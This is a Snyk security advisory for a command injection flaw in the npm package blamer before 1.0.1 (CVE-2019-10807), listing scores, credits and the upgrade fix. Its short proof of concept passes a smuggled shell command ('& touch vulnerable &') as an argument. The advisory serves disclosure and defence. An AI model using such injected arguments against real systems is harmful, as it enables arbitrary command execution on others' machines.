Homepage
About Snyk

Command Injection Affecting blamer package, versions <1.0.1

0.0
medium

Snyk CVSS

    Attack Complexity High
    Confidentiality High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.66% (80th percentile)
Expand this section
NVD
9.8 critical

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-BLAMER-559541
  • published 9 Mar 2020
  • disclosed 9 Mar 2020
  • credit JHU System Security Lab, mik317
Report a new vulnerability Found a mistake?

Introduced: 9 Mar 2020

CVE-2019-10807 Open this link in a new tab
CWE-78 Open this link in a new tab
First added by Snyk

How to fix?

Upgrade blamer to version 1.0.1 or higher.

Overview

blamer is a tool for get information about author of code from version control system. Supports git and subversion.

Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbitrary commands as part of the arguments provided to blamer.

PoC

var Root = require("blamer");
var attack_command = "& touch vulnerable &";
root = new Root('git',attack_command);
root.blameByFile("./");